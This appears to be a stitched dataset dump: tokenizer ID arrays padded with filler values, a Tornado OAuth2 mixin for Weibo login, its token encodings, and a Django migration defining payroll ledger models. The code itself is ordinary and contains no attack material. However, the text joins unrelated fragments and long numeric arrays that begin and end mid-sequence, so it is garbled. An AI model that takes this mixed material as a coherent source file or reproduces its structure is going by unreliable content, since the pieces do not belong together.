]
[ 199, 703, 11386, 447, 339, 25727, 199, 624, 199, 363, 8149, 363, 275, 298, 41, 290, 22311, 70, 10723, 2, 199, 363, 7307, 363, 275, 298, 7384, 7129, 13, 7409, 12, 1910, 4380, 2124, 477, 603, 1888, 3093, 2, 199, 363, 22461, 363, 275, 2097, 41, 290, 22311, 70, 10723, 937, 199, 363, 1682, 363, 275, 298, 19, 13, 8501, 6289, 2, 199, 363, 26665, 363, 275, 298, 44, 1311, 33, 16871, 2, 199, 363, 2123, 363, 275, 298, 647, 4643, 13, 2374, 32, 3098, 2634, 2, 199, 199, 504, 14377, 14, 16647, 14, 12686, 63, 77, 12430, 492, 603, 14058, 63, 3883, 19358, 199, 199, 504, 27959, 18, 14, 4166, 492, 8651, 199, 504, 27959, 18, 14, 1208, 14, 12686, 492, 1852, 63, 32057, 63, 12686, 421, 199, 533, 15227, 24947, 24992, 8, 3142, 304, 272, 408, 272, 2508, 11386, 447, 398, 25727, 339, 3897, 272, 4143, 272, 14377, 63, 12686, 520, 25727, 272, 6347, 520, 25727, 272, 1324, 63, 2638, 520, 25727, 272, 408, 272, 347, 636, 826, 721, 277, 12, 14377, 63, 12686, 275, 488, 12, 6347, 29, 403, 12, 1324, 63, 2638, 29, 403, 304, 267, 1613, 8, 8176, 24947, 24992, 12, 291, 2843, 826, 4533, 267, 702, 14377, 63, 12686, 365, 488, 503, 6347, 365, 488, 267, 14377, 63, 12686, 275, 1852, 63, 32057, 63, 12686, 8, 32057, 63, 12686, 340, 14377, 63, 12686, 365, 440, 488, 587, 6347, 12, 3660, 6029, 11, 845, 11, 1081, 12, 1314, 63, 765, 534, 27578, 358, 267, 291, 855, 807, 4343, 873, 8, 9350, 1012, 267, 2150, 291, 14, 277, 339, 347, 636, 1250, 721, 277, 12, 4153, 304, 267, 408, 267, 2508, 11386, 447, 953, 25727, 267, 408, 267, 340, 291, 14, 1210, 63, 2638, 26, 288, 291, 14, 1210, 63, 2638, 14, 3502, 8, 3711, 9, 267, 372, 291, 14, 32057, 63, 12686, 14, 27578, 8, 80, 29, 3711, 12, 1568, 29, 3711, 14, 1392, 12, 2152, 29, 3711, 14, 2271, 9, 339, 347, 663, 63, 1210, 63, 2638, 8, 277, 12, 4601, 304, 267, 408, 267, 2508, 11386, 447, 953, 25727, 267, 408, 267, 291, 14, 1210, 63, 2638, 275, 4601, 339, 347, 664, 63, 1210, 63, 2638, 8, 277, 304, 267, 408, 267, 2508, 11386, 447, 953, 25727, 267, 408, 267, 340, 291, 14, 1210, 63, 2638, 365, 440, 488, 26, 288, 372, 291, 14, 1210, 63, 2638, 267, 746, 1722, 480, 1944, 1324, 4601, 1990, 2013, 367, 642, 8651, 4366, 83, 680, 298, 355, 298, 5556, 883, 1240, 663, 63, 1210, 63, 2638, 370, 3211, 626, 2122, 450, 620, 8, 277, 430, 339, 347, 664, 63, 1199, 63, 2638, 8, 277, 304, 267, 408, 267, 2508, 11386, 447, 953, 25727, 267, 408, 267, 372, 291, 14, 362, 63, 1210, 63, 2638, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
PegasusWang/tornado-cn-auth
tornadocnauth/Weibo.py
4
3992
# -*- coding: utf-8 -*- from tornado import gen from tornado import httpclient from tornado import escape from tornado.httputil import url_concat from tornado.concurrent import Future from tornado.auth import OAuth2Mixin, _auth_return_future, AuthError try: import urlparse except ImportError: import urllib.parse as urlparse try: import urllib.parse as urllib_parse except ImportError: import urllib as urllib_parse class WeiboMixin(OAuth2Mixin): _OAUTH_ACCESS_TOKEN_URL = 'https://api.weibo.com/oauth2/access_token' _OAUTH_AUTHORIZE_URL = 'https://api.weibo.com/oauth2/authorize?' @_auth_return_future def get_authenticated_user(self, redirect_uri, client_id, client_secret, code, callback, grant_type='authorization_code', extra_fields=None): http = self.get_auth_http_client() args = { 'redirect_uri': redirect_uri, 'code': code, 'client_id': client_id, 'client_secret': client_secret, 'grant_type': grant_type, } fields = set(['id', 'screen_name', 'profile_image_url']) if extra_fields: fields.update(extra_fields) http.fetch(self._OAUTH_ACCESS_TOKEN_URL, method='POST', body=urllib_parse.urlencode(args), callback=self.async_callback(self._on_access_token, redirect_uri, client_id, client_secret, callback, fields)) def _oauth_request_token_url(self, redirect_uri=None, client_id=None, client_secret=None, code=None, grant_type=None, extra_params=None): pass def _on_access_token(self, redirect_uri, client_id, client_secret, future, fields, response): if response.error: future.set_exception(AuthError('Weibo auth error %s' % str(response))) return args = escape.json_decode(escape.native_str(response.body)) session = { 'access_token': args['access_token'], 'expires': args['expires_in'], 'uid': args['uid'], } self.weibo_request( path='/users/show.json', callback=self.async_callback( self._on_get_user_info, future, session, fields), access_token=session['access_token'], uid=session['uid'] ) def _on_get_user_info(self, future, session, fields, user): if user is None: future.set_result(None) return fieldmap = {} for field in fields: fieldmap[field] = user.get(field) fieldmap.update({'access_token': session['access_token'], 'session_expires': session['expires']}) future.set_result(fieldmap) @_auth_return_future def weibo_request(self, path, callback, access_token=None, uid=None, post_args=None, **args): url = "https://api.weibo.com/2" + path all_args = {} if access_token: all_args['access_token'] = access_token if uid: all_args['uid'] = uid if args: all_args.update(args) if all_args: url += '?' + urllib_parse.urlencode(all_args) callback = self.async_callback(self._on_weibo_request, callback) http = self.get_auth_http_client() if post_args is not None: http.fetch(url, method="POST", body=urllib_parse.urlencode(post_args), callback=callback) else: http.fetch(url, callback=callback) def _on_weibo_request(self, future, response): if response.error: future.set_exception(AuthError('Error response %s fetching %s', response.error, response.request.url)) return future.set_result(escape.json_decode(response.body)) def get_auth_http_client(self): return httpclient.AsyncHTTPClient()
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 504, 12148, 492, 3805, 199, 504, 12148, 492, 1455, 1258, 199, 504, 12148, 492, 4772, 199, 504, 12148, 14, 1014, 1974, 492, 1166, 63, 9419, 199, 504, 12148, 14, 27237, 492, 20799, 199, 504, 12148, 14, 1178, 492, 11715, 18, 4256, 12, 485, 1178, 63, 1107, 63, 2443, 12, 3590, 547, 199, 199, 893, 26, 272, 492, 7097, 199, 2590, 3545, 26, 272, 492, 4011, 14, 1122, 465, 7097, 199, 199, 893, 26, 272, 492, 4011, 14, 1122, 465, 4011, 63, 1122, 199, 2590, 3545, 26, 272, 492, 4011, 465, 4011, 63, 1122, 199, 199, 533, 2136, 73, 656, 4256, 8, 12906, 18, 4256, 304, 272, 485, 24041, 63, 11074, 63, 8803, 63, 2632, 275, 283, 2859, 921, 1246, 14, 21431, 656, 14, 957, 15, 6126, 18, 15, 2732, 63, 1418, 7, 272, 485, 24041, 63, 27938, 11025, 63, 2632, 275, 283, 2859, 921, 1246, 14, 21431, 656, 14, 957, 15, 6126, 18, 15, 14204, 14069, 2286, 19915, 1178, 63, 1107, 63, 2443, 272, 347, 664, 63, 12177, 63, 751, 8, 277, 12, 4660, 63, 2302, 12, 1890, 63, 344, 12, 1890, 63, 4731, 12, 1233, 12, 3233, 12, 16085, 63, 466, 534, 15846, 63, 600, 297, 2402, 63, 955, 29, 403, 304, 267, 1455, 275, 291, 14, 362, 63, 1178, 63, 1014, 63, 1258, 342, 267, 1249, 275, 469, 288, 283, 4876, 63, 2302, 356, 4660, 63, 2302, 12, 288, 283, 600, 356, 1233, 12, 288, 283, 1258, 63, 344, 356, 1890, 63, 344, 12, 288, 283, 1258, 63, 4731, 356, 1890, 63, 4731, 12, 288, 283, 17362, 63, 466, 356, 16085, 63, 466, 12, 288, 789, 398, 1504, 275, 663, 2941, 344, 297, 283, 5410, 63, 354, 297, 283, 2913, 63, 1569, 63, 633, 1105, 398, 340, 2402, 63, 955, 26, 288, 1504, 14, 873, 8, 2911, 63, 955, 9, 398, 1455, 14, 3535, 8, 277, 423, 24041, 63, 11074, 63, 8803, 63, 2632, 12, 1083, 534, 4030, 297, 718, 2396, 29, 4078, 63, 1122, 14, 10738, 8, 589, 395, 673, 3233, 29, 277, 14, 4146, 63, 3058, 8, 277, 423, 265, 63, 2732, 63, 1418, 12, 4660, 63, 2302, 12, 1890, 63, 344, 12, 1890, 63, 4731, 12, 3233, 12, 1504, 430, 339, 347, 485, 6126, 63, 1069, 63, 1418, 63, 633, 8, 277, 12, 4660, 63, 2302, 29, 403, 12, 1890, 63, 344, 29, 403, 12, 639, 1890, 63, 4731, 29, 403, 12, 1233, 29, 403, 12, 639, 16085, 63, 466, 29, 403, 12, 2402, 63, 1162, 29, 403, 304, 267, 986, 25979, 347, 485, 265, 63, 2732, 63, 1418, 8, 277, 12, 4660, 63, 2302, 12, 1890, 63, 344, 12, 1890, 63, 4731, 12, 586, 6466, 12, 1504, 12, 1177, 304, 267, 340, 1177, 14, 705, 26, 288, 6466, 14, 409, 63, 1971, 8, 2817, 547, 360, 6004, 73, 656, 1790, 1125, 450, 83, 7, 450, 620, 8, 1310, 1724, 288, 372, 398, 1249, 275, 4772, 14, 1001, 63, 2708, 8, 3765, 14, 6106, 63, 495, 8, 1310, 14, 2030, 430, 267, 2351, 275, 469, 288, 283, 2732, 63, 1418, 356, 1249, 459, 2732, 63, 1418, 995, 288, 283, 12342, 356, 1249, 459, 12342, 63, 262, 995, 288, 283, 1535, 356, 1249, 459, 1535, 995, 288, 789, 398, 291, 14, 21431, 656, 63, 1069, 8, 288, 931, 8805, 3707, 15, 2384, 14, 1001, 297, 288, 3233, 29, 277, 14, 4146, 63, 3058, 8, 355, 291, 423, 265, 63, 362, 63, 751, 63, 815, 12, 6466, 12, 2351, 12, 1504, 395, 288, 2879, 63, 1418, 29, 1730, 459, 2732, 63, 1418, 995, 288, 1747, 29, 1730, 459, 1535, 418, 288, 776, 339, 347, 485, 265, 63, 362, 63, 751, 63, 815, 8, 277, 12, 6466, 12, 2351, 12, 1504, 12, 922, 304, 267, 340, 922, 365, 488, 26, 288, 6466, 14, 409, 63, 1099, 8, 403, 9, 288, 372, 398, 901, 1130, 275, 1052, 267, 367, 901, 315, 1504, 26, 288, 901, 1130, 59, 698, 61, 275, 922, 14, 362, 8, 698, 9, 2728, 901, 1130, 14, 873, 3252, 2732, 63, 1418, 356, 2351, 459, 2732, 63, 1418, 995, 283, 1730, 63, 12342, 356, 2351, 459, 12342, 13678, 398, 6466, 14, 409, 63, 1099, 8, 698, 1130, 9, 339, 19915, 1178, 63, 1107, 63, 2443, 272, 347, 781, 73, 656, 63, 1069, 8, 277, 12, 931, 12, 3233, 12, 2879, 63, 1418, 29, 403, 12, 1747, 29, 403, 12, 2963, 63, 589, 29, 403, 12, 1011, 589, 304, 267, 1166, 275, 298, 2859, 921, 1246, 14, 21431, 656, 14, 957, 15, 18, 2, 435, 931, 267, 1006, 63, 589, 275, 1052, 267, 340, 2879, 63, 1418, 26, 288, 1006, 63, 589, 459, 2732, 63, 1418, 418, 275, 2879, 63, 1418, 267, 340, 1747, 26, 288, 1006, 63, 589, 459, 1535, 418, 275, 1747, 267, 340, 1249, 26, 288, 1006, 63, 589, 14, 873, 8, 589, 9, 398, 340, 1006, 63, 589, 26, 288, 1166, 847, 15539, 435, 4011, 63, 1122, 14, 10738, 8, 452, 63, 589, 9, 267, 3233, 275, 291, 14, 4146, 63, 3058, 8, 277, 423, 265, 63, 21431, 656, 63, 1069, 12, 3233, 9, 267, 1455, 275, 291, 14, 362, 63, 1178, 63, 1014, 63, 1258, 342, 267, 340, 2963, 63, 589, 365, 440, 488, 26, 288, 1455, 14, 3535, 8, 633, 12, 1083, 628, 4030, 401, 2396, 29, 4078, 63, 1122, 14, 10738, 8, 1932, 63, 589, 395, 2432, 3233, 29, 3058, 9, 267, 587, 26, 288, 1455, 14, 3535, 8, 633, 12, 3233, 29, 3058, 9, 339, 347, 485, 265, 63, 21431, 656, 63, 1069, 8, 277, 12, 6466, 12, 1177, 304, 267, 340, 1177, 14, 705, 26, 288, 6466, 14, 409, 63, 1971, 8, 2817, 547, 360, 547, 1177, 450, 83, 21239, 450, 83, 297, 5644, 1177, 14, 705, 12, 1177, 14, 1069, 14, 633, 430, 953, 372, 398, 6466, 14, 409, 63, 1099, 8, 3765, 14, 1001, 63, 2708, 8, 1310, 14, 2030, 430, 2286, 347, 664, 63, 1178, 63, 1014, 63, 1258, 8, 277, 304, 267, 372, 1455, 1258, 14, 12807, 27757, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 504, 12148, 492, 3805, 199, 504, 12148, 492, 1455, 1258, 199, 504, 12148, 492, 4772, 199, 504, 12148, 14, 1014, 1974, 492, 1166, 63, 9419, 199, 504, 12148, 14, 27237, 492, 20799, 199, 504, 12148, 14, 1178, 492, 11715, 18, 4256, 12, 485, 1178, 63, 1107, 63, 2443, 12, 3590, 547, 199, 199, 893, 26, 272, 492, 7097, 199, 2590, 3545, 26, 272, 492, 4011, 14, 1122, 465, 7097, 199, 199, 893, 26, 272, 492, 4011, 14, 1122, 465, 4011, 63, 1122, 199, 2590, 3545, 26, 272, 492, 4011, 465, 4011, 63, 1122, 199, 199, 533, 2136, 73, 656, 4256, 8, 12906, 18, 4256, 304, 272, 485, 24041, 63, 11074, 63, 8803, 63, 2632, 275, 283, 2859, 921, 1246, 14, 21431, 656, 14, 957, 15, 6126, 18, 15, 2732, 63, 1418, 7, 272, 485, 24041, 63, 27938, 11025, 63, 2632, 275, 283, 2859, 921, 1246, 14, 21431, 656, 14, 957, 15, 6126, 18, 15, 14204, 14069, 2286, 19915, 1178, 63, 1107, 63, 2443, 272, 347, 664, 63, 12177, 63, 751, 8, 277, 12, 4660, 63, 2302, 12, 1890, 63, 344, 12, 1890, 63, 4731, 12, 1233, 12, 3233, 12, 16085, 63, 466, 534, 15846, 63, 600, 297, 2402, 63, 955, 29, 403, 304, 267, 1455, 275, 291, 14, 362, 63, 1178, 63, 1014, 63, 1258, 342, 267, 1249, 275, 469, 288, 283, 4876, 63, 2302, 356, 4660, 63, 2302, 12, 288, 283, 600, 356, 1233, 12, 288, 283, 1258, 63, 344, 356, 1890, 63, 344, 12, 288, 283, 1258, 63, 4731, 356, 1890, 63, 4731, 12, 288, 283, 17362, 63, 466, 356, 16085, 63, 466, 12, 288, 789, 398, 1504, 275, 663, 2941, 344, 297, 283, 5410, 63, 354, 297, 283, 2913, 63, 1569, 63, 633, 1105, 398, 340, 2402, 63, 955, 26, 288, 1504, 14, 873, 8, 2911, 63, 955, 9, 398, 1455, 14, 3535, 8, 277, 423, 24041, 63, 11074, 63, 8803, 63, 2632, 12, 1083, 534, 4030, 297, 718, 2396, 29, 4078, 63, 1122, 14, 10738, 8, 589, 395, 673, 3233, 29, 277, 14, 4146, 63, 3058, 8, 277, 423, 265, 63, 2732, 63, 1418, 12, 4660, 63, 2302, 12, 1890, 63, 344, 12, 1890, 63, 4731, 12, 3233, 12, 1504, 430, 339, 347, 485, 6126, 63, 1069, 63, 1418, 63, 633, 8, 277, 12, 4660, 63, 2302, 29, 403, 12, 1890, 63, 344, 29, 403, 12, 639, 1890, 63, 4731, 29, 403, 12, 1233, 29, 403, 12, 639, 16085, 63, 466, 29, 403, 12, 2402, 63, 1162, 29, 403, 304, 267, 986, 25979, 347, 485, 265, 63, 2732, 63, 1418, 8, 277, 12, 4660, 63, 2302, 12, 1890, 63, 344, 12, 1890, 63, 4731, 12, 586, 6466, 12, 1504, 12, 1177, 304, 267, 340, 1177, 14, 705, 26, 288, 6466, 14, 409, 63, 1971, 8, 2817, 547, 360, 6004, 73, 656, 1790, 1125, 450, 83, 7, 450, 620, 8, 1310, 1724, 288, 372, 398, 1249, 275, 4772, 14, 1001, 63, 2708, 8, 3765, 14, 6106, 63, 495, 8, 1310, 14, 2030, 430, 267, 2351, 275, 469, 288, 283, 2732, 63, 1418, 356, 1249, 459, 2732, 63, 1418, 995, 288, 283, 12342, 356, 1249, 459, 12342, 63, 262, 995, 288, 283, 1535, 356, 1249, 459, 1535, 995, 288, 789, 398, 291, 14, 21431, 656, 63, 1069, 8, 288, 931, 8805, 3707, 15, 2384, 14, 1001, 297, 288, 3233, 29, 277, 14, 4146, 63, 3058, 8, 355, 291, 423, 265, 63, 362, 63, 751, 63, 815, 12, 6466, 12, 2351, 12, 1504, 395, 288, 2879, 63, 1418, 29, 1730, 459, 2732, 63, 1418, 995, 288, 1747, 29, 1730, 459, 1535, 418, 288, 776, 339, 347, 485, 265, 63, 362, 63, 751, 63, 815, 8, 277, 12, 6466, 12, 2351, 12, 1504, 12, 922, 304, 267, 340, 922, 365, 488, 26, 288, 6466, 14, 409, 63, 1099, 8, 403, 9, 288, 372, 398, 901, 1130, 275, 1052, 267, 367, 901, 315, 1504, 26, 288, 901, 1130, 59, 698, 61, 275, 922, 14, 362, 8, 698, 9, 2728, 901, 1130, 14, 873, 3252, 2732, 63, 1418, 356, 2351, 459, 2732, 63, 1418, 995, 283, 1730, 63, 12342, 356, 2351, 459, 12342, 13678, 398, 6466, 14, 409, 63, 1099, 8, 698, 1130, 9, 339, 19915, 1178, 63, 1107, 63, 2443, 272, 347, 781, 73, 656, 63, 1069, 8, 277, 12, 931, 12, 3233, 12, 2879, 63, 1418, 29, 403, 12, 1747, 29, 403, 12, 2963, 63, 589, 29, 403, 12, 1011, 589, 304, 267, 1166, 275, 298, 2859, 921, 1246, 14, 21431, 656, 14, 957, 15, 18, 2, 435, 931, 267, 1006, 63, 589, 275, 1052, 267, 340, 2879, 63, 1418, 26, 288, 1006, 63, 589, 459, 2732, 63, 1418, 418, 275, 2879, 63, 1418, 267, 340, 1747, 26, 288, 1006, 63, 589, 459, 1535, 418, 275, 1747, 267, 340, 1249, 26, 288, 1006, 63, 589, 14, 873, 8, 589, 9, 398, 340, 1006, 63, 589, 26, 288, 1166, 847, 15539, 435, 4011, 63, 1122, 14, 10738, 8, 452, 63, 589, 9, 267, 3233, 275, 291, 14, 4146, 63, 3058, 8, 277, 423, 265, 63, 21431, 656, 63, 1069, 12, 3233, 9, 267, 1455, 275, 291, 14, 362, 63, 1178, 63, 1014, 63, 1258, 342, 267, 340, 2963, 63, 589, 365, 440, 488, 26, 288, 1455, 14, 3535, 8, 633, 12, 1083, 628, 4030, 401, 2396, 29, 4078, 63, 1122, 14, 10738, 8, 1932, 63, 589, 395, 2432, 3233, 29, 3058, 9, 267, 587, 26, 288, 1455, 14, 3535, 8, 633, 12, 3233, 29, 3058, 9, 339, 347, 485, 265, 63, 21431, 656, 63, 1069, 8, 277, 12, 6466, 12, 1177, 304, 267, 340, 1177, 14, 705, 26, 288, 6466, 14, 409, 63, 1971, 8, 2817, 547, 360, 547, 1177, 450, 83, 21239, 450, 83, 297, 5644, 1177, 14, 705, 12, 1177, 14, 1069, 14, 633, 430, 953, 372, 398, 6466, 14, 409, 63, 1099, 8, 3765, 14, 1001, 63, 2708, 8, 1310, 14, 2030, 430, 2286, 347, 664, 63, 1178, 63, 1014, 63, 1258, 8, 277, 304, 267, 372, 1455, 1258, 14, 12807, 27757, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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Django 1.11.4 on 2017-08-28 04:55 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('sl_profile', '0001_initial'), ('delivery', '0001_initial'), ] operations = [ migrations.CreateModel( name='DayLedger', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('fiscal_day', models.DateField()), ('sale_count', models.PositiveIntegerField()), ('sales_income', models.PositiveIntegerField()), ('avg_sale_revenue', models.FloatField()), ('budgeted_expense', models.IntegerField()), ('withholding', models.PositiveIntegerField()), ('total_profit', models.PositiveIntegerField()), ('unique_seller_count', models.PositiveIntegerField()), ('unpack_count', models.PositiveIntegerField()), ('unique_outfit_count', models.PositiveIntegerField()), ('garment_count', models.PositiveIntegerField()), ('dividend_per_garment', models.PositiveIntegerField()), ('operator_dividend', models.PositiveIntegerField()), ('unique_outfits_to_date', models.PositiveIntegerField()), ('garments_to_date', models.PositiveIntegerField()), ('sales_to_date', models.PositiveIntegerField()), ('creator_dividend_to_date', models.PositiveIntegerField()), ], ), migrations.CreateModel( name='GarmentDistribution', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('percentage', models.PositiveSmallIntegerField()), ('collaborator', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='sl_profile.Resident')), ('garment', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='delivery.Garment')), ], ), migrations.CreateModel( name='MonthLedger', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('first_day', models.DateField()), ('last_day', models.DateField()), ('rent_income', models.PositiveIntegerField()), ('stipend_income', models.PositiveIntegerField()), ('other_income', models.PositiveIntegerField()), ('total_income', models.PositiveIntegerField()), ('lindex_rate', models.PositiveIntegerField()), ('server_expense_usd', models.DecimalField(decimal_places=2, max_digits=8)), ('server_expense', models.PositiveIntegerField()), ('tier_expense_usd', models.DecimalField(decimal_places=2, max_digits=8)), ('tier_expense', models.PositiveIntegerField()), ('rent_expense', models.PositiveIntegerField()), ('upload_expense', models.PositiveIntegerField()), ('other_expense', models.PositiveIntegerField()), ('total_expense', models.PositiveIntegerField()), ('last_month_budget', models.IntegerField()), ('last_month_expense', models.IntegerField()), ('last_month_shortfall', models.IntegerField()), ('next_month_net_budget', models.IntegerField()), ('next_month_gross_budget', models.IntegerField()), ('days_in_next_month', models.PositiveSmallIntegerField()), ('next_month_daily_budget', models.IntegerField()), ('sale_count', models.PositiveIntegerField()), ('sales_income', models.PositiveIntegerField()), ('avg_sale_revenue', models.FloatField()), ('unique_seller_count', models.PositiveIntegerField()), ('unpack_count', models.PositiveIntegerField()), ('unique_outfit_count', models.PositiveIntegerField()), ('total_dividend', models.IntegerField()), ('dividend_per_garment', models.PositiveIntegerField()), ], ), migrations.CreateModel( name='Transaction', fields=[ ('id', models.UUIDField(primary_key=True, serialize=False)), ('type', models.CharField(max_length=200)), ('description', models.CharField(max_length=200)), ('debit', models.PositiveIntegerField()), ('credit', models.PositiveIntegerField()), ('time', models.DateTimeField()), ('end_balance', models.PositiveIntegerField()), ('region', models.CharField(max_length=32)), ('order_id', models.BigIntegerField(null=True)), ('classification', models.CharField(choices=[('I', 'Income'), ('E', 'Expense'), ('T', 'Transfer')], max_length=1)), ('category', models.CharField(choices=[('SaleI', 'Sale'), ('RentI', 'Rental Income'), ('StipI', 'Stipend'), ('I', 'Other Income'), ('TierE', 'Tier Payment'), ('RentE', 'Rental Expense'), ('UpE', 'Upload Fee'), ('E', 'Other Expense'), ('Div', 'Dividend'), ('CapI', 'Capital Increase'), ('CapD', 'Capital Decrease')], max_length=5)), ('fiscal_day', models.DateField()), ('grid', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='sl_profile.Grid')), ('resident', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='sl_profile.Resident')), ], options={ 'db_table': 'payroll_transaction_log', }, ), migrations.CreateModel( name='MyDayLedger', fields=[ ('dayledger_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='payroll.DayLedger')), ('my_sale_count', models.PositiveIntegerField(default=0)), ('my_total_distribution', models.PositiveIntegerField(default=0)), ('my_avg_distribution', models.FloatField(default=0)), ('my_total_unpack_count', models.PositiveIntegerField(default=0)), ('my_sales_unpack_count', models.PositiveIntegerField(default=0)), ('my_unpack_sale_ratio', models.FloatField(default=0)), ('my_garment_count', models.PositiveIntegerField(default=0)), ('my_dividend', models.PositiveIntegerField(default=0)), ], options={ 'managed': False, }, bases=('payroll.dayledger',), ), migrations.CreateModel( name='MyMonthLedger', fields=[ ('monthledger_ptr', models.OneToOneField(auto_created=True, on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, serialize=False, to='payroll.MonthLedger')), ('my_sale_count', models.PositiveIntegerField(default=0)), ('my_total_distribution', models.PositiveIntegerField(default=0)), ('my_avg_distribution', models.FloatField(default=0)), ('my_total_unpack_count', models.PositiveIntegerField(default=0)), ('my_sales_unpack_count', models.PositiveIntegerField(default=0)), ('my_unpack_sale_ratio', models.FloatField(default=0)), ('my_dividend', models.PositiveIntegerField(default=0)), ], options={ 'managed': False, }, bases=('payroll.monthledger',), ), migrations.AddField( model_name='monthledger', name='grid', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='sl_profile.Grid'), ), migrations.AddField( model_name='dayledger', name='grid', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='sl_profile.Grid'), ), migrations.AddIndex( model_name='transaction', index=models.Index(fields=['grid', 'fiscal_day', 'resident'], name='payroll_tra_grid_id_efd639_idx'), ), migrations.AlterUniqueTogether( name='monthledger', unique_together=set([('grid', 'first_day')]), ), migrations.AlterUniqueTogether( name='dayledger', unique_together=set([('grid', 'fiscal_day')]), ), ]
agpl-3.0
